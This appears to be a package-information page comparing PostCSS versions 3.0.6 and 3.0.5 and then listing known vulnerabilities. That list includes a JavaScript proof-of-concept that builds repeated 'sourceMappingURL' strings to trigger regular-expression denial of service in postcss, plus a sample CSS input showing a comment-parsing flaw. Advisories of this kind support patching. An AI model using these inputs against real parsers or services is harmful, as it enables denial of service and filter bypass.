PostCSS is a powerful framework designed for CSS post-processing, offering full source map support to streamline development workflows. Comparing versions 3.0.6 and 3.0.5 reveals subtle but important updates for developers focused on staying current. Both versions share core dependencies like js-base64 and source-map, ensuring consistent base functionality.
The key differences lie within the devDependencies, a section indicating tools used in development and testing. Version 3.0.6 upgrades 6to5 from 1.14.4 to 1.14.7 indicating possible transpilation improvements, and cssnext moving from 0.6.0 to 0.6.2, meaning developers can leverage the newest CSS features with increased stability and perhaps bug fixes. request is also bumped from 2.48.0 to 2.49.0, suggesting possible security patches or stability fixes. stylecow also sees an upgrade from version 3.1.0 to 3.1.1. These changes, though seemingly minor, frequently translate to enhanced compatibility, bug fixes, and optimized performance when integrating PostCSS into broader CSS workflows. For developers committed to taking advantage of the latest CSS features, these incremental updates make a significant difference, improving the overall development experience and final output. Upgrading ensures you stay current with both the styling and underlying tooling ecosystem.
All the vulnerabilities related to the version 3.0.6 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.